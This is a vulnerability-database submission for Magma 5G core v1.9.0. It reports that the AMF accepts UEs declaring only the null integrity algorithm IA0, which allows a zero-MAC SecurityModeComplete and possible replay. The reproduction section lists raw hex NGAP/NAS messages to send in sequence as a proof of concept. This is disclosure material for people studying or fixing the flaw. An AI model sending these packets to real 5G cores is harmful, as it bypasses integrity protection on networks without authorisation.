| Title | Linux Foundation Projects Magma 5G v1.9.0 Missing Support for Integrity Check |
|---|
| Description | If UE declares capability IA0 only, AMF allows it to proceed and complete SecurityModeComplete with MAC - 0. Possible to perform replay attack.
To Reproduce
Start Magma Core with 5G support enabled and default configuration
Send these following messages one after another
NGSetup
00 15 00 33 00 00 05 00 1B 00 08 00 00 F1 10 00 00 06 6C 00 52 40 05 01 00 52 41 4E 00 66 00 0D 00 00 00 00 07 00 00 F1 10 00 00 00 08 00 15 40 01 20 00 93 40 01 00
InitialUEMessage
00 0f 40 45 00 00 05 00 55 00 02 00 01 00 26 00 1b 1a 7e 00 41 79 00 0d 01 00 f1 10 00 00 00 00 00 00 00 00 10 2e 02 80 80 10 01 00 00 79 00 0f 40 00 f1 10 00 00 00 00 00 00 f1 10 00 00 07 00 5a 40 01 18 00 70 40 01 00
UplinkNASTransport (Auth Response - Please Check PCAP for the real one)
00 2e 40 3c 00 00 04 00 0a 00 02 00 0a 00 55 00 02 00 01 00 26 00 16 15 7e 00 57 2d 10 0a 39 9e 7c af f8 ab 86 e9 fa 79 80 dc 57 7a 36 00 79 40 0f 40 00 f1 10 00 00 00 00 00 00 f110 00 00 07
UplinkNASTransport (SecurityModeComplete - Please check the pcap for real packet)
00 2e 40 31 00 00 04 00 0a 00 02 00 0a 00 55 00 02 00 01 00 26 00 0b 0a 7e 04 00 00 00 00 00 7e 00 5e 00 79 40 0f 40 00 f1 10 00 00 00 00 00 00 f1 10 00 00 07 |
|---|
| Source | ⚠️ https://github.com/magma/magma/issues/16024 |
|---|
| User | shovon0203 (UID 96191) |
|---|
| Submission | 07/15/2026 06:51 (2 months ago) |
|---|
| Moderation | 08/29/2026 20:44 (2 months later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 397065 [Linux Foundation Magma 1.9.0 SecurityModeComplete integrity check] |
|---|
| Points | 20 |
|---|